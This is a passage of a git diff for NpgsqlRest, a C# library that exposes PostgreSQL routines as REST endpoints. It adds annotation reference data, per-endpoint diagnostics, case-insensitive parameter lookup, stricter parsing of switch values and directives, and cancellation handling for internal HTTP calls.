string name, str else if (StrEqualsToArray(name, EncryptKey)) { - if (bool.TryParse(value, out var parsedEncrypt)) + if (Ext.TryParseSwitch(value, out var parsedEncrypt)) { endpoint.EncryptAllParameters = parsedEncrypt; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, DecryptKey)) { - if (bool.TryParse(value, out var parsedDecrypt)) + if (Ext.TryParseSwitch(value, out var parsedDecrypt)) { endpoint.DecryptAllColumns = parsedDecrypt; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, TimeoutKey)) @@ -815,6 +903,10 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str { endpoint.CommandTimeout = parsedInterval; } + else + { + WarnInvalidValue(where, name, value, "an interval, such as 30s or 5 minutes"); + } } else @@ -823,7 +915,9 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str var paramName = name.Length > 0 && name[0] == '@' ? name[1..] : name; if (endpoint.CustomParameters is null) { - endpoint.CustomParameters = new() + // Keys are found whatever their case: what reads them (the client generators, the upload + // handlers) asks for lower case names, and "TsClient_Module = x" used to be stored and never found. + endpoint.CustomParameters = new(StringComparer.OrdinalIgnoreCase) { [paramName] = value }; @@ -835,5 +929,11 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str } } + private static void WarnInvalidValue(string where, string name, string value, string expected) + { + Logger?.LogWarning("{Description}: {Name} = {Value} - the value is not valid and is ignored. Expected: {Expected}.", + where, name.TrimStart('@'), value, expected); + } + // Utility methods moved to DefaultCommentParser.Utilities.cs } \ No newline at end of file diff --git a/NpgsqlRest/Defaults/DefaultEndpoint.cs b/NpgsqlRest/Defaults/DefaultEndpoint.cs index f46e1c9a..5369bffd 100644 --- a/NpgsqlRest/Defaults/DefaultEndpoint.cs +++ b/NpgsqlRest/Defaults/DefaultEndpoint.cs @@ -79,7 +79,7 @@ private static void ApplyTsClientModule(Routine routine, RoutineEndpoint? endpoi return; } - endpoint.CustomParameters ??= new(); + endpoint.CustomParameters ??= new(StringComparer.OrdinalIgnoreCase); endpoint.CustomParameters["tsclient_module"] = ToCamelCase(moduleName); } diff --git a/NpgsqlRest/EndpointDiagnostics.cs b/NpgsqlRest/EndpointDiagnostics.cs new file mode 100644 index 00000000..34d002ee --- /dev/null +++ b/NpgsqlRest/EndpointDiagnostics.cs @@ -0,0 +1,48 @@ +namespace NpgsqlRest; + +/// +/// NpgsqlRest's logger, with one addition: while an endpoint's comment is being parsed, every warning and error +/// logged about it is also kept, and ends up in . That is what lets a +/// tool (npgsqlrest --endpoints, an editor) show an endpoint's problems with the endpoint, instead of having to +/// find them in the log. Everything is passed on to the real logger unchanged. +/// +internal sealed class EndpointDiagnosticsLogger(ILogger inner) : ILogger +{ + [ThreadStatic] + private static bool _collecting; + [ThreadStatic] + private static List? _collected; + + /// Starts keeping the warnings logged on this thread. + public static void Begin() + { + _collecting = true; + _collected = null; + } + + /// Stops, and returns what was kept (null for nothing). + public static string[]? End() + { + _collecting = false; + var result = _collected?.ToArray(); + _collected = null; + return result; + } + + public IDisposable? BeginScope(TState state) where TState : notnull => inner.BeginScope(state); + + public bool IsEnabled(LogLevel logLevel) => + inner.IsEnabled(logLevel) || (_collecting && logLevel >= LogLevel.Warning && logLevel != LogLevel.None); + + public void Log(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func formatter) + { + if (_collecting && logLevel >= LogLevel.Warning && logLevel != LogLevel.None) + { + (_collected ??= []).Add(formatter(state, exception)); + } + if (inner.IsEnabled(logLevel)) + { + inner.Log(logLevel, eventId, state, exception, formatter); + } + } +} diff --git a/NpgsqlRest/Extensions.cs b/NpgsqlRest/Extensions.cs index 22753121..7f67d681 100644 --- a/NpgsqlRest/Extensions.cs +++ b/NpgsqlRest/Extensions.cs @@ -496,34 +496,47 @@ public static bool IsWarning(this PostgresNotice notice) return string.Equals(notice.Severity, Warning, StringComparison.OrdinalIgnoreCase); } + /// + /// Reads a switch value as annotations write it: true, on, enabled, enable, 1 and false, off, disabled, + /// disable, 0 (any case). Returns false when the value is none of these. + /// + public static bool TryParseSwitch(string? value, out bool result) + { + result = false; + if (value is null) + { + return false; + } + value = value.Trim(); + if (string.Equals(value, "false", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "off", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "disabled", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "disable", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "0", StringComparison.Ordinal)) + { + return true; + } + if (string.Equals(value, "true", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "on", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "enabled", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "enable", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "1", StringComparison.Ordinal)) + { + result = true; + return true; + } + return false; + } + public static bool? ParameterEnabled(this Dictionary? parameters, string key) { if (parameters is null || parameters.Count == 0) { return null; } - if (parameters.TryGetValue(key, out var value)) + if (parameters.TryGetValue(key, out var value) && TryParseSwitch(value, out var enabled)) { - // Check for "off" values - if (string.Equals(value, "false", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "off", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "disabled", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "disable", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "0", StringComparison.OrdinalIgnoreCase)) - { - return false; - } - - // Check for "on" values - if (string.Equals(value, "true", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "on", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "enabled", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "enable", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "1", StringComparison.OrdinalIgnoreCase)) - { - return true; - } - return null; + return enabled; } return null; } diff --git a/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs b/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs index 4e7261e0..a6049033 100644 --- a/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs +++ b/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs @@ -78,15 +78,27 @@ public async Task InvokeAsync(CancellationToken cancellationToken = default) { var url = ResolveUrl(); + // The same request an outbound call makes: placeholders are resolved in the header values and + // the content type too (they used to be passed as written, {name} and all), and the timeout + // applies (a call to an endpoint of this application could wait forever). + Dictionary? headers = definition.Headers; + if (headers is { Count: > 0 } && definition.NeedsParsing && replacements is not null) + { + headers = new Dictionary(headers.Count, StringComparer.OrdinalIgnoreCase); + foreach (var header in definition.Headers!) + { + headers[header.Key] = ResolveValue(header.Value); + } + } + using var internalTimeout = CreateTimeoutCancellationTokenSource(cancellationToken); + var internalResponse = await InternalRequestHandler.ExecuteAsync( definition.Method, url, - definition.Headers, - definition.NeedsParsing && definition.Body is not null && replacements is not null - ? Formatter.FormatString(definition.Body.AsSpan(), replacements.Value).ToString() - : definition.Body, - definition.ContentType, - cancellationToken); + headers, + definition.Body is not null ? ResolveValue(definition.Body) : null, + definition.ContentType is not null ? ResolveValue(definition.ContentType) : null, + internalTimeout?.Token ?? cancellationToken); StatusCode = internalResponse.StatusCode; Body = internalResponse.Body; @@ -317,6 +329,8 @@ private async Task ProcessResponseAsync(HttpResponseMessage response, long start { StatusCode = (int)response.StatusCode; IsSuccess = response.IsSuccessStatusCode; + // A response was received: whatever an earlier attempt left here (a timeout, a network error) is over. + ErrorMessage = null; ContentType = response.Content.Headers.ContentType?.ToString(); Body = await response.Content.ReadAsStringAsync(); diff --git a/NpgsqlRest/HttpClientType/HttpClientTypes.cs b/NpgsqlRest/HttpClientType/HttpClientTypes.cs index 49c40c25..9bd66fd2 100644 --- a/NpgsqlRest/HttpClientType/HttpClientTypes.cs +++ b/NpgsqlRest/HttpClientType/HttpClientTypes.cs @@ -491,6 +491,11 @@ private static bool TryParseTimeoutDirective(ReadOnlySpan line, string? ty } var afterKeyword = trimmed[7..]; // Skip "timeout" + // The keyword is a whole word: "Timeout-Ms: 100" is a request header, not this directive. + if (!afterKeyword.IsEmpty && afterKeyword[0] is not (' ' or '\t' or '=' or ':')) + { + return false; + } // Handle separator: space, '=', or ':' afterKeyword = TrimSpan(afterKeyword); @@ -543,6 +548,11 @@ private static bool TryParseRetryDirective( } var afterKeyword = trimmed[11..]; // Skip "retry_delay" + // The keyword is a whole word: "Retry_Delay_Hint: 5" is a request header, not this directive. + if (!afterKeyword.IsEmpty && afterKeyword[0] is not (' ' or '\t' or '=' or ':')) + { + return false; + } // Handle separator: space, '=', or ':' afterKeyword = TrimSpan(afterKeyword); diff --git a/NpgsqlRest/HttpClientType/HttpTypeAnnotations.cs b/NpgsqlRest/HttpClientType/HttpTypeAnnotations.cs new file mode 100644 index 00000000..4a5b6112 --- /dev/null +++ b/NpgsqlRest/HttpClientType/HttpTypeAnnotations.cs @@ -0,0 +1,73 @@ +namespace NpgsqlRest.HttpClientType; + +/// +/// What the comment of a composite type may say to make it an HTTP Custom Type (a type whose value is the +/// response of an HTTP call), as annotation reference data. +/// +public static class HttpTypeAnnotations +{ + private const AnnotationContext Ctx = AnnotationContext.TypeComment; + + public static CommentAnnotation[] All => + [ + new() + { + Name = "http_type_request", + Syntax = "GET|POST|PUT|PATCH|DELETE ", + Description = "The request line: the HTTP method and the URL to call, absolute, or starting with / for a call to an endpoint of this application. Only directives and # comment lines may come before it. Header lines follow it, then a blank line, then the request body. {name} placeholders in the URL, the headers and the body take the routine's parameter values. The response fills the type's fields by name: body, status_code, headers, content_type, success, error_message (the names are configurable in HttpClientOptions).", + Owner = "http_type", + Form = AnnotationForm.Line, + Contexts = Ctx, + Example = "GET https://api.example.com/users/{_id}" + }, + new() + { + Name = "http_type_header", + Syntax = "Header-Name: value", + Description = "A request header, on the lines after the request line. A Content-Type header sets the body's content type (application/json when there is a body and no header).", + Owner = "http_type", + Form = AnnotationForm.Line, + Contexts = Ctx, + Example = "Authorization: Bearer {_token}" + }, + new() + { + Name = "timeout", + Aliases = ["timeout"], + Syntax = "timeout ", + Description = "How long one attempt may take. A number is seconds; 10s, 500ms, 2 minutes and 00:00:10 are also read. On a timeout status_code is 408 and error_message says so.", + Owner = "http_type", + Form = AnnotationForm.KeywordOrKeyValue, + Contexts = Ctx, + ValueKind = AnnotationValueKind.Interval, + Default = "30s", + Example = "@timeout 10s" + }, + new() + { + Name = "retry_delay", + Aliases = ["retry_delay"], + Syntax = "retry_delay , , ... [on , , ...]", + Description = "Retry a failed call: one retry per delay, each waited before its retry. Without 'on', any response outside 200-299 is retried; with it, only the listed status codes. Timeouts and network errors are always retried.", + Owner = "http_type", + Form = AnnotationForm.KeywordOrKeyValue, + Contexts = Ctx, + ValueKind = AnnotationValueKind.List, + Default = "no retries", + Example = "@retry_delay 1s, 3s, 10s on 429, 503" + }, + new() + { + Name = "cache", + Aliases = ["cache"], + Syntax = "cache [interval]", + Description = "Keep the response in memory and answer identical calls from it, for the given time (without a time, until the application stops). GET requests only, and only responses with status 200-299.", + Owner = "http_type", + Form = AnnotationForm.KeywordOrKeyValue, + Contexts = Ctx, + ValueKind = AnnotationValueKind.Interval, + Default = "off", + Example = "@cache 5 minutes" + }, + ]; +} diff --git a/NpgsqlRest/HttpClientType/InternalRequestHandler.cs b/NpgsqlRest/HttpClientType/InternalRequestHandler.cs index 2f472f4f..782872f7 100644 --- a/NpgsqlRest/HttpClientType/InternalRequestHandler.cs +++ b/NpgsqlRest/HttpClientType/InternalRequestHandler.cs @@ -122,14 +122,23 @@ internal static async Task ExecuteAsync( context.Response.Body = responseBody; // Invoke handler + // The call is cancelled with its caller: the endpoint reads this token as its request's own. (It was not + // passed on, so a timeout or a disconnected client left the called endpoint running to its end.) + context.RequestAborted = cancellationToken; try { await handler(context); } + catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested) + { + throw; + } catch (Exception ex) { return new InternalResponse { StatusCode = 500, Body = ex.Message, IsSuccess = false }; } + // An endpoint answers a cancelled request itself (it does not throw): for the caller it is still cancelled. + cancellationToken.ThrowIfCancellationRequested(); // Flush any remaining data await context.Response.Body.FlushAsync(cancellationToken); diff --git a/NpgsqlRest/IEndpointCreateHandler.cs b/NpgsqlRest/IEndpointCreateHandler.cs index 637a990f..d111c36e 100644 --- a/NpgsqlRest/IEndpointCreateHandler.cs +++ b/NpgsqlRest/IEndpointCreateHandler.cs @@ -46,6 +46,14 @@ void Setup(IApplicationBuilder builder, NpgsqlRestOptions options) { } ///
string[] EndpointRequestingAnnotations => []; + /// + /// The comment annotations and custom parameters (key = value) this handler reads, described as + /// data. They become part of the annotation reference (, + /// npgsqlrest --annotations), and the comment parser uses them to tell a line it does not know from + /// one that is this handler's. Default: none. + /// + CommentAnnotation[] Annotations => []; + /// /// After successful endpoint creation. /// diff --git a/NpgsqlRest/Log.cs b/NpgsqlRest/Log.cs index 7b3e2fea..3ae888f3 100644 --- a/NpgsqlRest/Log.cs +++ b/NpgsqlRest/Log.cs @@ -201,7 +201,7 @@ public static void CouldNotParseJson(this ILogger logger, string? body, string p [LoggerMessage(Level = LogLevel.Warning, Message = "{description} upload handler are not defined.")] public static partial void CommentUploadNoHandlers(this ILogger logger, string description); - [LoggerMessage(Level = LogLevel.Trace, Message = "{description} has set to use the first available UPLOAD HANDLER {handler} by the comment annotation.")] + [LoggerMessage(Level = LogLevel.Trace, Message = "{description}: none of the upload handlers named in the comment annotation exists, the default UPLOAD HANDLER {handler} is used.")] public static partial void CommentUploadFirstAvaialbleHandler(this ILogger logger, string description, string? handler); [LoggerMessage(Level = LogLevel.Trace, Message = "{description} has set to use UPLOAD HANDLER {handler} by the comment annotation.")] diff --git a/NpgsqlRest/NpgsqlRestBuilder.cs b/NpgsqlRest/NpgsqlRestBuilder.cs index 8f85a77f..b725dd03 100644 --- a/NpgsqlRest/NpgsqlRestBuilder.cs +++ b/NpgsqlRest/NpgsqlRestBuilder.cs @@ -42,7 +42,18 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg Options = options; ParameterParsers.JsonTimestampsAreUtc = options.JsonTimestampsAreUtc; var factory = builder.Services.GetRequiredService(); - Logger = factory.CreateLogger(options.LoggerName ?? typeof(NpgsqlRestBuilder).Namespace ?? "NpgsqlRest"); + // Wrapped so that the warnings about an endpoint's comment can be kept with the endpoint (RoutineEndpoint.Diagnostics). + Logger = new EndpointDiagnosticsLogger(factory.CreateLogger(options.LoggerName ?? typeof(NpgsqlRestBuilder).Namespace ?? "NpgsqlRest")); + // What the plugins in use read from comments: part of the annotation reference, and known to the parser. + foreach (var handler in options.EndpointCreateHandlers) + { + CommentAnnotations.Register(handler.Annotations); + } + // Upload handlers whose key is not the default one: their parameters under the configured prefix. + var uploadKeys = options.UploadOptions.DefaultUploadHandlerOptions; + CommentAnnotations.Register(UploadHandlers.UploadAnnotations.WithHandlerKey(UploadHandlers.UploadAnnotations.Core, "large_object", uploadKeys.LargeObjectKey)); + CommentAnnotations.Register(UploadHandlers.UploadAnnotations.WithHandlerKey(UploadHandlers.UploadAnnotations.Core, "file_system", uploadKeys.FileSystemKey)); + CommentAnnotations.Register(UploadHandlers.UploadAnnotations.WithHandlerKey(UploadHandlers.UploadAnnotations.Core, "csv", uploadKeys.CsvUploadKey)); RetryStrategy? defaultStrategy = null; if (Options.CommandRetryOptions.Enabled is true && string.IsNullOrEmpty(Options.CommandRetryOptions.DefaultStrategy) is false) diff --git a/NpgsqlRest/NpgsqlRestEndpoint.cs b/NpgsqlRest/NpgsqlRestEndpoint.cs index 9b3adad0..4a1a63ee 100644 --- a/NpgsqlRest/NpgsqlRestEndpoint.cs +++ b/NpgsqlRest/NpgsqlRestEndpoint.cs @@ -748,7 +748,7 @@ void AddParam(string key) { if (endpoint.CustomParamsNeedParsing && endpoint.CustomParameters is not null) { - customParameters = new Dictionary(endpoint.CustomParameters.Count); + customParameters = new Dictionary(endpoint.CustomParameters.Count, StringComparer.OrdinalIgnoreCase); foreach (var (key, value) in endpoint.CustomParameters) { // SQL-valued parameters (row_command) are never formatted: request values in SQL text = SQL injection. diff --git a/NpgsqlRest/Routine.cs b/NpgsqlRest/Routine.cs index e932901f..62dda33f 100644 --- a/NpgsqlRest/Routine.cs +++ b/NpgsqlRest/Routine.cs @@ -112,6 +112,15 @@ public class Routine ///
public required string SimpleDefinition { get; init; } + /// The file this routine was read from, for sources that read files (SQL file endpoints). Null otherwise. + public string? SourceFile { get; init; } + + /// + /// Comment lines that the routine's source read as annotations of its own and left out of + /// (the SQL file source: skip, returns, result, define_param). Null for none. + /// + public string[]? SourceAnnotationLines { get; init; } + /// /// The format URL pattern for the routine. If used (not null), placeholder {0} is used to replace the default URL. /// diff --git a/NpgsqlRest/RoutineEndpoint.cs b/NpgsqlRest/RoutineEndpoint.cs index 56aa93e1..9340daef 100644 --- a/NpgsqlRest/RoutineEndpoint.cs +++ b/NpgsqlRest/RoutineEndpoint.cs @@ -156,6 +156,26 @@ public string? BodyParameterName ///
public string[]? UnhandledCommentLines { get; set; } = null; + /// + /// The comment lines that were read as annotations (built-in, a plugin's, a custom parameter, a response + /// header), in order, as written. Null when there were none. + /// + public string[]? AnnotationLines { get; set; } = null; + + /// + /// The comment lines that begin with @ and are not an annotation or a custom parameter anything reads: + /// most likely a misspelt name, or another tool's annotation. They are not part of + /// , so they are never published as the endpoint's description. Null when + /// there were none. + /// + public string[]? UnknownAnnotationLines { get; set; } = null; + + /// + /// The warnings and errors logged about this endpoint while its comment was parsed, as logged. Null when + /// there were none. + /// + public string[]? Diagnostics { get; set; } = null; + private Dictionary? _items; /// diff --git a/NpgsqlRest/UploadHandlers/UploadAnnotations.cs b/NpgsqlRest/UploadHandlers/UploadAnnotations.cs new file mode 100644 index 00000000..a61c0ef7 --- /dev/null +++ b/NpgsqlRest/UploadHandlers/UploadAnnotations.cs @@ -0,0 +1,112 @@ +namespace NpgsqlRest.UploadHandlers; + +/// +/// The custom parameters (key = value) the upload handlers read, as annotation reference data. +/// Every key may also be written with its handler's name in front (csv_delimiters); the plain key wins +/// when both are present. +/// +public static class UploadAnnotations +{ + private const AnnotationValueKind Bool = AnnotationValueKind.Boolean; + private const AnnotationValueKind Int = AnnotationValueKind.Integer; + private const AnnotationValueKind Text = AnnotationValueKind.Text; + + private static CommentAnnotation P(string handler, string key, AnnotationValueKind kind, string? def, string description, string example, string[]? handlers = null) => + new() + { + Name = key, + Aliases = [key, .. (handlers ?? [handler]).Select(h => string.Concat(h, "_", key))], + Syntax = string.Concat(key, " = <", kind switch + { + Bool => "true|false", + Int => "number", + AnnotationValueKind.Sql => "sql", + AnnotationValueKind.List => "list", + AnnotationValueKind.Path => "path", + AnnotationValueKind.Name => "name", + _ => "value" + }, ">"), + Description = description, + Owner = handlers is null ? string.Concat("upload:", handler) : "upload", + Form = AnnotationForm.KeyValue, + ValueKind = kind, + Default = def, + Example = example + }; + + private static readonly string[] All = ["large_object", "file_system", "csv", "excel"]; + + /// The parameters of the handlers the library has: shared, large_object, file_system and csv. + public static CommentAnnotation[] Core => + [ + P("", "stop_after_first_success", Bool, "false", "With several upload handlers: a file that one handler processed successfully is skipped by the handlers after it.", "stop_after_first_success = true", All), + P("", "included_mime_types", AnnotationValueKind.List, null, "Accept only files whose MIME type matches one of these patterns (* and ? are wildcards). Others are rejected.", "included_mime_types = image/*, application/pdf", All), + P("", "excluded_mime_types", AnnotationValueKind.List, null, "Reject files whose MIME type matches any of these patterns (* and ? are wildcards).", "excluded_mime_types = application/x-msdownload", All), + P("", "buffer_size", Int, "8192", "Size in bytes of the chunks a file is read and written in (large_object and file_system).", "buffer_size = 65536", All), + P("", "fallback_handler", AnnotationValueKind.Name, null, "The upload handler that takes over when csv or excel cannot process the file.", "fallback_handler = file_system", ["csv", "excel"]), + + P("large_object", "oid", Int, null, "The OID of the large object to create. Without it PostgreSQL assigns one.", "oid = {_oid}"), + P("large_object", "check_text", Bool, "false", "Reject files that are not text (binary content).", "check_text = true"), + P("large_object", "check_image", Text, "false", "Reject files that are not images, by their first bytes: true for any supported type, or a list of jpg, jpeg, png, gif, bmp, tiff, webp.", "check_image = jpg, png"), + P("large_object", "test_buffer_size", Int, "4096", "How many bytes of the file the text check reads.", "test_buffer_size = 8192"), + P("large_object", "non_printable_threshold", Int, "5", "How many non-printable bytes the text check tolerates before the file counts as binary.", "non_printable_threshold = 0"), + + P("file_system", "path", AnnotationValueKind.Path, null, "The directory the file is saved in. Default: the configured FileSystemPath.", "path = /var/uploads/{_folder}"), + P("file_system", "file", Text, null, "The name the file is saved under (relative, no '..'). Default: the uploaded file's own name. With unique_name only its extension is used.", "file = {_name}.pdf"), + P("file_system", "unique_name", Bool, "true", "Save the file under a generated unique name that keeps the extension.", "unique_name = false"), + P("file_system", "create_path", Bool, null, "Create the directory when it does not exist. Default: the configured FileSystemCreatePathIfNotExists.", "create_path = true"), + P("file_system", "check_text", Bool, "false", "Reject files that are not text (binary content).", "check_text = true"), + P("file_system", "check_image", Text, "false", "Reject files that are not images, by their first bytes: true for any supported type, or a list of jpg, jpeg, png, gif, bmp, tiff, webp.", "check_image = true"), + P("file_system", "test_buffer_size", Int, "4096", "How many bytes of the file the text check reads.", "test_buffer_size = 8192"), + P("file_system", "non_printable_threshold", Int, "5", "How many non-printable bytes the text check tolerates before the file counts as binary.", "non_printable_threshold = 0"), + + P("csv", "check_format", Bool, "true", "Check that the file is text with at least one line break before it is processed.", "check_format = false"), + P("csv", "test_buffer_size", Int, "4096", "How many bytes of the file the format check reads.", "test_buffer_size = 8192"), + P("csv", "non_printable_threshold", Int, "5", "How many non-printable bytes the format check tolerates before the file counts as binary.", "non_printable_threshold = 0"), + P("csv", "delimiters", Text, ",", "The field delimiter characters; every character of the value is one. \\t is a tab.", "delimiters = ;\\t"), + P("csv", "has_fields_enclosed_in_quotes", Bool, "true", "Fields may be enclosed in double quotes.", "has_fields_enclosed_in_quotes = false"), + P("csv", "set_white_space_to_null", Bool, "true", "Empty and whitespace-only fields are passed as NULL.", "set_white_space_to_null = false"), + P("csv", "row_command", AnnotationValueKind.Sql, "call process_csv_row($1,$2,$3,$4)", "The SQL command run for every row: $1 is the row number (from 1), $2 the fields as text[], $3 the previous row's result, $4 the upload metadata. {placeholders} are never substituted in it.", "row_command = select import_row($1, $2, $3, $4)"), + ]; + + /// + /// The same parameters under another handler name. A handler's key is configurable (LargeObjectKey, + /// FileSystemKey, CsvUploadKey, the client's ExcelKey), and its parameters may be prefixed with that key. + /// + public static CommentAnnotation[] WithHandlerKey(CommentAnnotation[] annotations, string defaultKey, string configuredKey) + { + if (string.Equals(defaultKey, configuredKey, StringComparison.OrdinalIgnoreCase)) + { + return []; + } + var owner = string.Concat("upload:", defaultKey); + return [.. annotations + .Where(a => a.Owner == owner) + .Select(a => new CommentAnnotation + { + Name = a.Name, + Aliases = [a.Name, string.Concat(configuredKey, "_", a.Name)], + Syntax = a.Syntax, + Description = a.Description, + Owner = string.Concat("upload:", configuredKey), + Form = a.Form, + Contexts = a.Contexts, + ValueKind = a.ValueKind, + Values = a.Values, + Default = a.Default, + Example = a.Example + })]; + } + + /// The parameters of the excel handler, which the npgsqlrest client adds. + public static CommentAnnotation[] Excel => + [ + P("excel", "sheet_name", Text, null, "The sheet to process (case-insensitive). Default: the first sheet. Ignored with all_sheets.", "sheet_name = Orders"), + P("excel", "all_sheets", Bool, "false", "Process every sheet of the workbook.", "all_sheets = true"), + P("excel", "time_format", Text, "HH:mm:ss", "The .NET format that cells holding only a time are passed in.", "time_format = HH:mm"), + P("excel", "date_format", Text, "yyyy-MM-dd", "The .NET format that cells holding a date without a time are passed in.", "date_format = dd.MM.yyyy"), + P("excel", "datetime_format", Text, "yyyy-MM-dd HH:mm:ss", "The .NET format that cells holding a date and a time are passed in.", "datetime_format = yyyy-MM-ddTHH:mm:ss"), + P("excel", "row_is_json", Bool, "false", "Pass the row ($2) as a JSON object keyed by cell reference ({\"A1\": ...}) instead of text[].", "row_is_json = true"), + P("excel", "row_command", AnnotationValueKind.Sql, "call process_excel_row($1,$2,$3,$4)", "The SQL command run for every non-empty row: $1 is the row number, $2 the cells, $3 the previous row's result, $4 the upload metadata. {placeholders} are never substituted in it.", "row_command = select import_row($1, $2, $3, $4)"), + ]; +} diff --git a/NpgsqlRest/UploadHandlers/UploadExtensions.cs b/NpgsqlRest/UploadHandlers/UploadExtensions.cs index 90251f32..8c1bdc92 100644 --- a/NpgsqlRest/UploadHandlers/UploadExtensions.cs +++ b/NpgsqlRest/UploadHandlers/UploadExtensions.cs @@ -20,7 +20,8 @@ options.DefaultUploadHandlerOptions.FileSystemEnabled is false && { return null; } - var result = new Dictionary>(); + // found whatever the case: annotations are read in lower case, a configured key may have capitals + var result = new Dictionary>(StringComparer.OrdinalIgnoreCase); if (options.DefaultUploadHandlerOptions.LargeObjectEnabled) { result.Add(options.DefaultUploadHandlerOptions.LargeObjectKey, (strategy) => new LargeObjectUploadHandler(strategy)); diff --git a/NpgsqlRestClient/AnnotationReference.cs b/NpgsqlRestClient/AnnotationReference.cs new file mode 100644 index 00000000..e658a715 --- /dev/null +++ b/NpgsqlRestClient/AnnotationReference.cs @@ -0,0 +1,36 @@ +using System.Text.Json.Nodes; +using NpgsqlRest; + +namespace NpgsqlRestClient; + +/// +/// The whole annotation reference of the npgsqlrest client: what core reads, and what every plugin and handler the +/// client ships reads, whether or not the configuration enables it. Printed by npgsqlrest --annotations, and +/// registered at startup so that the comment parser knows a disabled plugin's annotation from an unknown one. +/// +public static class AnnotationReference +{ + private static bool _registered; + + public static void Register() + { + if (_registered) + { + return; + } + _registered = true; + CommentAnnotations.Register(NpgsqlRest.UploadHandlers.UploadAnnotations.Excel); + CommentAnnotations.Register(TableFormatAnnotations.All); + CommentAnnotations.Register(NpgsqlRest.TsClient.TsClientAnnotations.All); + CommentAnnotations.Register(NpgsqlRest.DartClient.DartClientAnnotations.All); + CommentAnnotations.Register(NpgsqlRest.Mcp.McpAnnotations.All); + CommentAnnotations.Register(NpgsqlRest.OpenAPI.OpenApiAnnotations.All); + CommentAnnotations.Register(Testing.TestAnnotations.All); + } + + public static JsonArray All() + { + Register(); + return CommentAnnotations.ToJson(); + } +} diff --git a/NpgsqlRestClient/App.cs b/NpgsqlRestClient/App.cs index 410b5740..00cca9e3 100644 --- a/NpgsqlRestClient/App.cs +++ b/NpgsqlRestClient/App.cs @@ -978,9 +978,11 @@ public NpgsqlRestUploadOptions CreateUploadOptions() ExcelUploadOptions.Instance.ExcelRowDataAsJson = _config.GetConfigBool("ExcelRowDataAsJson", uploadHandlersCfg, false); ExcelUploadOptions.Instance.ExcelUploadRowCommand = _config.GetConfigStr("ExcelUploadRowCommand", uploadHandlersCfg) ?? "call process_excel_row($1,$2,$3,$4)"; - result?.UploadHandlers?.Add( - _config.GetConfigStr("ExcelKey", uploadHandlersCfg) ?? "excel", - strategy => new ExcelUploadHandler(result, strategy)); + var excelUploadKey = _config.GetConfigStr("ExcelKey", uploadHandlersCfg) ?? "excel"; + result?.UploadHandlers?.Add(excelUploadKey, strategy => new ExcelUploadHandler(result, strategy)); + // under another name, its parameters are prefixed with that name (annotation reference) + NpgsqlRest.CommentAnnotations.Register(NpgsqlRest.UploadHandlers.UploadAnnotations.WithHandlerKey( + NpgsqlRest.UploadHandlers.UploadAnnotations.Excel, "excel", excelUploadKey)); } if (result?.UploadHandlers is not null && result.UploadHandlers.Count > 1) @@ -1007,7 +1009,8 @@ public NpgsqlRestUploadOptions CreateUploadOptions() return null; } - var result = new Dictionary(); + // found whatever the case: "table_format = HTML" is the html handler + var result = new Dictionary(StringComparer.OrdinalIgnoreCase); if (_config.GetConfigBool("HtmlEnabled", cfg, true)) { diff --git a/NpgsqlRestClient/EndpointCapture.cs b/NpgsqlRestClient/EndpointCapture.cs index 751a5d08..4693af9f 100644 --- a/NpgsqlRestClient/EndpointCapture.cs +++ b/NpgsqlRestClient/EndpointCapture.cs @@ -16,6 +16,17 @@ public void Cleanup(RoutineEndpoint[] endpoints) Endpoints = endpoints; } + private static void WriteLines(Utf8JsonWriter writer, string name, string[]? lines) + { + if (lines is not { Length: > 0 }) + { + return; + } + writer.WriteStartArray(name); + foreach (var line in lines) writer.WriteStringValue(line); + writer.WriteEndArray(); + } + public static void WriteEndpointsJson(Utf8JsonWriter writer) { writer.WriteStartArray(); @@ -39,8 +50,23 @@ public static void WriteEndpointsJson(Utf8JsonWriter writer) writer.WriteBoolean("returnsSet", ep.Routine.ReturnsSet); writer.WriteBoolean("isVoid", ep.Routine.IsVoid); writer.WriteString("definition", ep.Routine.SimpleDefinition); + // Where it comes from, so that a tool can lead back to it: the file of a SQL file endpoint. + // (A database routine is found by its schema, name and definition above.) + if (ep.Routine.SourceFile is not null) + { + writer.WriteString("sourceFile", ep.Routine.SourceFile); + } writer.WriteEndObject(); + // What was read from the comment. + WriteLines(writer, "annotations", ep.AnnotationLines); + // Prose: the lines that are no annotation. OpenAPI and MCP use them as the description. + WriteLines(writer, "commentLines", ep.UnhandledCommentLines); + // Lines written as annotations (@name ...) that nothing reads: a misspelt name, another tool's line. + WriteLines(writer, "unknownAnnotations", ep.UnknownAnnotationLines); + // Warnings and errors logged about this endpoint while its comment was parsed. + WriteLines(writer, "diagnostics", ep.Diagnostics); + // Parameters writer.WriteStartArray("parameters"); foreach (var param in ep.Routine.Parameters) @@ -111,6 +137,25 @@ public static void WriteEndpointsJson(Utf8JsonWriter writer) writer.WriteEndObject(); } + // Custom parameters (key = value) that nothing reads, written with or without the @. + if (ep.CustomParameters is { Count: > 0 }) + { + List? unknown = null; + foreach (var key in ep.CustomParameters.Keys) + { + if 